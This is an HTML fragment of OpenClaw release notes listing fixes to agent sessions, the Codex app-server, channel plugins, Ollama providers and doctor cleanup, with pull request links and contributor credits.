<li>CLI/agents: allow <code>openclaw agent --session-key</code> to target explicit session keys, including agent-scoped legacy keys. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4498501242" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85121" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85121/hovercard" href="https://github.com/openclaw/openclaw/pull/85121">#85121</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Kaspre/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Kaspre">@Kaspre</a>.</li>
<li>Auto-reply/ACP: wait for same-channel block reply delivery before starting tool work, while still honoring ACP dispatch aborts so stopped turns do not wait on slow channel sends. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4471527952" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83722" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83722/hovercard" href="https://github.com/openclaw/openclaw/pull/83722">#83722</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/IWhatsskill/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/IWhatsskill">@IWhatsskill</a>.</li>
<li>Codex/ACP: mark required child-run completions that only report progress, omit a final deliverable, or fail requester delivery as blocked while preserving real final reports. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4498172824" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85110" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85110/hovercard" href="https://github.com/openclaw/openclaw/pull/85110">#85110</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/IWhatsskill/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/IWhatsskill">@IWhatsskill</a>.</li>
<li>Channels: treat bare abort messages such as <code>stop</code>, <code>abort</code>, and <code>wait</code> as immediate control commands in inbound debounce paths so stop requests are not delayed behind pending message coalescing. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4465477899" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83348" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83348/hovercard" href="https://github.com/openclaw/openclaw/pull/83348">#83348</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/IWhatsskill/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/IWhatsskill">@IWhatsskill</a>.</li>
<li>Channels/message tool: resolve configured external channel plugins during in-agent channel selection, so <code>openclaw agent --local</code> message-tool sends no longer report an available channel as unavailable. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4496213314" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85022" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85022/hovercard" href="https://github.com/openclaw/openclaw/pull/85022">#85022</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Kaspre/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Kaspre">@Kaspre</a>.</li>
<li>Agents/heartbeat: honor group/channel <code>message_tool</code> visible-reply policy and model-specific Codex runtime config for scheduled heartbeat runs, so failed internal tool output stays private. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4501936678" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85310" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/85310/hovercard" href="https://github.com/openclaw/openclaw/issues/85310">#85310</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4502712735" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85357" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85357/hovercard" href="https://github.com/openclaw/openclaw/pull/85357">#85357</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/neeravmakwana/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/neeravmakwana">@neeravmakwana</a>.</li>
<li>Gateway/ACP: close child ACP sessions spawned via <code>sessions_spawn</code> when their parent session is reset or deleted, instead of leaving orphaned <code>claude-agent-acp</code> processes that accumulate and exhaust memory. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4290563726" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/68916" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/68916/hovercard" href="https://github.com/openclaw/openclaw/issues/68916">#68916</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4499486658" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85190" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85190/hovercard" href="https://github.com/openclaw/openclaw/pull/85190">#85190</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/openperf/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/openperf">@openperf</a>.</li>
<li>Codex app-server: block native execution paths when OpenClaw exec resolves to a node host while preserving the first-party CLI node binding path. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4496082157" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85012" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/85012/hovercard" href="https://github.com/openclaw/openclaw/issues/85012">#85012</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4506017461" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85534" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85534/hovercard" href="https://github.com/openclaw/openclaw/pull/85534">#85534</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/joshavant/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/joshavant">@joshavant</a>.</li>
<li>Diagnostics: bound cleanup timeout detail logs, emit drop summaries when async diagnostic bursts exceed the queue cap, and surface async queue drops through diagnostic telemetry.</li>
<li>Agents/subagents: surface blocked child-run completions as errors instead of successful subagent finishes. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4426401117" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/80886" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/80886/hovercard" href="https://github.com/openclaw/openclaw/pull/80886">#80886</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/TurboTheTurtle/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/TurboTheTurtle">@TurboTheTurtle</a>.</li>
<li>Context engines: fail closed with a descriptive error when the selected agent runtime cannot satisfy declared context-engine host requirements.</li>
<li>Agents/Pi: treat accepted embedded <code>sessions_spawn</code> child-session handoffs as terminal progress so parent turns no longer report false non-deliverable failures. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4496893143" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85054" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85054/hovercard" href="https://github.com/openclaw/openclaw/pull/85054">#85054</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/samzong/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/samzong">@samzong</a>.</li>
<li>CLI/models: resolve <code>openclaw models set</code> aliases from the runtime config while keeping authored aliases ahead of runtime-only defaults. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4464921339" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83262" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83262/hovercard" href="https://github.com/openclaw/openclaw/pull/83262">#83262</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/IWhatsskill/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/IWhatsskill">@IWhatsskill</a>.</li>
<li>Doctor: show personal Codex CLI asset notices as info instead of warnings. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4492410818" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84859" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/84859/hovercard" href="https://github.com/openclaw/openclaw/issues/84859">#84859</a>.</li>
<li>WhatsApp: update Baileys to <code>7.0.0-rc13</code> and drop the obsolete logger type patch.</li>
<li>CLI/update: pre-pack GitHub/git package update targets before the staged npm install, restoring <code>openclaw update --tag main</code> for one-off package updates. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4434938350" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/81296" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/81296/hovercard" href="https://github.com/openclaw/openclaw/pull/81296">#81296</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/fuller-stack-dev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/fuller-stack-dev">@fuller-stack-dev</a>.</li>
<li>Gateway: mirror successful same-source message-tool sends into session transcripts so delivered replies stay in later history/context. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4492092367" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84837" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84837/hovercard" href="https://github.com/openclaw/openclaw/pull/84837">#84837</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/iFiras-Max1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/iFiras-Max1">@iFiras-Max1</a>.</li>
<li>Media generation: keep image, music, and video completion delivery from duplicating or losing task ownership when generated media finishes through active session replies. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4474791588" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84006" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84006/hovercard" href="https://github.com/openclaw/openclaw/pull/84006">#84006</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/fuller-stack-dev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/fuller-stack-dev">@fuller-stack-dev</a>.</li>
<li>CLI/doctor: remove stale bundled plugin load paths from old versioned OpenClaw package roots after pnpm/npm upgrades. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4183233605" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/58626" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/58626/hovercard" href="https://github.com/openclaw/openclaw/issues/58626">#58626</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/solink7/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/solink7">@solink7</a>.</li>
<li>Infra/json: retry transient <code>File changed during read</code> races while loading JSON state so config and state reads recover instead of failing the turn. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4480467537" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84285" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84285/hovercard" href="https://github.com/openclaw/openclaw/pull/84285">#84285</a>)</li>
<li>Plugins/providers: fail closed for workspace provider plugins during setup-mode discovery unless explicitly trusted, preventing untrusted workspace plugin code from running during provider setup. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4430383114" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/81069" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/81069/hovercard" href="https://github.com/openclaw/openclaw/pull/81069">#81069</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/mmaps/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/mmaps">@mmaps</a>.</li>
<li>Providers/Ollama: resolve configured Ollama Cloud <code>OLLAMA_API_KEY</code> markers to the real discovery key so cloud provider entries keep authenticated model catalog access. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4496517336" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85037" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85037/hovercard" href="https://github.com/openclaw/openclaw/pull/85037">#85037</a>)</li>
<li>Discord: keep persistent component registry fallback warnings actionable by forwarding structured error and cause metadata through the runtime logger. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4478478934" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84185" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/84185/hovercard" href="https://github.com/openclaw/openclaw/issues/84185">#84185</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4478496859" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84190" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84190/hovercard" href="https://github.com/openclaw/openclaw/pull/84190">#84190</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/100menotu001/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/100menotu001">@100menotu001</a>.</li>
<li>Gateway/sessions: preserve compatible session auth profile overrides when switching models within the same provider, including provider-auth aliases. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4446719061" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/81837" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/81837/hovercard" href="https://github.com/openclaw/openclaw/issues/81837">#81837</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4448375153" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/81886" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/81886/hovercard" href="https://github.com/openclaw/openclaw/pull/81886">#81886</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/TurboTheTurtle/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/TurboTheTurtle">@TurboTheTurtle</a>.</li>
<li>Gateway/status: surface inbound delivery telemetry counters and transport-liveness warnings in <code>openclaw status --all</code>. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4093339126" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/49577" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/49577/hovercard" href="https://github.com/openclaw/openclaw/issues/49577">#49577</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4334434847" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72724" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/72724/hovercard" href="https://github.com/openclaw/openclaw/pull/72724">#72724</a>)</li>
<li>Docker: prune package-excluded plugin source workspaces and dependency closures so runtime images do not keep packages for plugins that were not opted in.</li>
<li>Providers/Ollama: treat Docker/OrbStack host aliases as local Ollama endpoints so <code>ollama-local</code> marker auth works when OpenClaw runs inside a VM/container and Ollama runs on the host. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4492687433" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84875" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/84875/hovercard" href="https://github.com/openclaw/openclaw/issues/84875">#84875</a>.</li>
<li>QA-Lab: keep explicitly searchable/deferred OpenClaw dynamic tool rows report-only by default so tool-coverage gates do not treat mock discovery gaps as hard product failures. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4416028202" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/80319" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/80319/hovercard" href="https://github.com/openclaw/openclaw/issues/80319">#80319</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/100yenadmin/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/100yenadmin">@100yenadmin</a>.</li>
<li>Agents/config: keep non-Google provider model refs from being rewritten by Google Gemini preview-id normalization. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4491152950" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84762" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84762/hovercard" href="https://github.com/openclaw/openclaw/pull/84762">#84762</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/zhangguiping-xydt/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/zhangguiping-xydt">@zhangguiping-xydt</a>.</li>
<li>Installer: require a real controlling terminal before launching onboarding so headless <code>curl | bash</code> installs finish cleanly after installing the CLI.</li>
<li>Agents/Codex: promote a completed final assistant response when a prompt timeout races Codex app-server completion instead of returning an empty timeout envelope. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4484831985" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84516" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/84516/hovercard" href="https://github.com/openclaw/openclaw/issues/84516">#84516</a>.</li>
<li>Codex app-server: keep interrupted turn statuses from being treated as OpenClaw aborts by themselves, so tool-only turns remain eligible for no-visible-answer recovery. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4484261445" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84492" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/84492/hovercard" href="https://github.com/openclaw/openclaw/issues/84492">#84492</a>.</li>
<li>Agents: cap heartbeat model bleed context hints by the stored session window when runtime model metadata is unavailable, so overflow recovery advice does not suggest a larger window than the active session actually has.</li>
<li>Control UI/Web Push: use <code>https://openclaw.ai</code> as the generated default VAPID subject instead of the old localhost mailbox so iOS PWA push setup uses an Apple-acceptable subject when <code>OPENCLAW_VAPID_SUBJECT</code> is unset. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4463833833" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83134" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/83134/hovercard" href="https://github.com/openclaw/openclaw/issues/83134">#83134</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4465313833" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83317" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83317/hovercard" href="https://github.com/openclaw/openclaw/pull/83317">#83317</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/IWhatsskill/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/IWhatsskill">@IWhatsskill</a>.</li>
<li>Control UI: distinguish inherited thinking-off settings from explicit Off selections so the thinking selector no longer shows two identical Off rows. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4499864598" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85223" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85223/hovercard" href="https://github.com/openclaw/openclaw/pull/85223">#85223</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/amknight/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/amknight">@amknight</a>.</li>
<li>Agents/Pi: keep embedded session transcript writes from tripping false takeover detection after packaged npm onboarding agent turns.</li>
<li>Codex/TUI: surface Codex-native post-turn compaction failures instead of continuing uncompacted, and keep successful native compaction serialized before local idle/next-turn handling. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4480907550" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84305" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/84305/hovercard" href="https://github.com/openclaw/openclaw/issues/84305">#84305</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4499073217" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85160" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85160/hovercard" href="https://github.com/openclaw/openclaw/pull/85160">#85160</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/joshavant/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/joshavant">@joshavant</a>.</li>
<li>Memory/search: stop recall tracking from writing dreaming side-effect artifacts when <code>dreaming.enabled=false</code>, while preserving normal search results. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4483132130" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84436" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/84436/hovercard" href="https://github.com/openclaw/openclaw/issues/84436">#84436</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4483302640" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84444" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84444/hovercard" href="https://github.com/openclaw/openclaw/pull/84444">#84444</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/NianJiuZst/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/NianJiuZst">@NianJiuZst</a>.</li>
<li>Diffs: render viewer toolbar icons from a closed icon-name map instead of HTML strings, removing the toolbar icon XSS sink. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4474146520" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83955" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83955/hovercard" href="https://github.com/openclaw/openclaw/pull/83955">#83955</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/tanshanshan/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/tanshanshan">@tanshanshan</a>.</li>
<li>QA: keep <code>pnpm qa:e2e</code> self-check runs inside the private QA runtime envelope even when inherited shell env disables bundled plugins.</li>
<li>fix(config): validate browser sandbox bind sources [AI]. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4491649611" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84799" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84799/hovercard" href="https://github.com/openclaw/openclaw/pull/84799">#84799</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/pgondhi987/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/pgondhi987">@pgondhi987</a>.</li>
<li>doctor: constrain legacy plugin cleanup paths [AI]. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4491667697" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84801" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84801/hovercard" href="https://github.com/openclaw/openclaw/pull/84801">#84801</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/pgondhi987/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/pgondhi987">@pgondhi987</a>.</li>
<li>Update/doctor: prune stale local bundled plugin install records that point at old compiled bundled output so current bundled plugin schemas win after upgrade. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4492494073" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84863" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84863/hovercard" href="https://github.com/openclaw/openclaw/pull/84863">#84863</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/fuller-stack-dev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/fuller-stack-dev">@fuller-stack-dev</a>.</li>
<li>Providers/Ollama: preserve native Ollama tool-call IDs across assistant replay so Gemini over Ollama Cloud can keep its hidden function-call thought-signature handle.</li>
<li>Discord: keep session recovery and <code>/stop</code> abort ownership on the source dispatch lane while bound ACP turns continue routing to their target session, so stalled pre-run work and late replies are cleared instead of leaking after stop. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4483895207" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84477" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/84477/hovercard" href="https://github.com/openclaw/openclaw/issues/84477">#84477</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4497982606" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85100" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85100/hovercard" href="https://github.com/openclaw/openclaw/pull/85100">#85100</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/joshavant/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/joshavant">@joshavant</a>.</li>
<li>Discord/voice-call: keep forced realtime voice consult diagnostics in debug logs instead of agent prompts, so callers do not hear OpenClaw policy text when the provider misses <code>openclaw_agent_consult</code>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4482803751" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84411" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84411/hovercard" href="https://github.com/openclaw/openclaw/pull/84411">#84411</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/fuller-stack-dev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/fuller-stack-dev">@fuller-stack-dev</a>.</li>
<li>Codex app-server: mark missing turn completion after observed execution as replay-unsafe and release the session so follow-up turns can run. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4476289375" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84076" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/84076/hovercard" href="https://github.com/openclaw/openclaw/issues/84076">#84076</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4498078569" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85107" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85107/hovercard" href="https://github.com/openclaw/openclaw/pull/85107">#85107</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/joshavant/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/joshavant">@joshavant</a>.</li>
<li>Codex app-server: give visible <code>message</code> dynamic tool sends a longer timeout budget so slow channel delivery can return its own result or error instead of hitting the 30-second Codex wrapper. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4499812848" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85216" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85216/hovercard" href="https://github.com/openclaw/openclaw/pull/85216">#85216</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/amknight/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/amknight">@amknight</a>.</li>
<li>Codex app-server: add a dedicated post-tool raw assistant completion idle timeout config so trusted heavy turns can wait longer after tool handoff without weakening final assistant release.</li>
<li>Matrix: keep explicitly configured two-person rooms on the room route before stale <code>m.direct</code> or strict two-member DM fallback can bypass mention gating. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4496136567" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85017" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/85017/hovercard" href="https://github.com/openclaw/openclaw/issues/85017">#85017</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4498803495" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85137" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85137/hovercard" href="https://github.com/openclaw/openclaw/pull/85137">#85137</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/joshavant/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/joshavant">@joshavant</a>.</li>
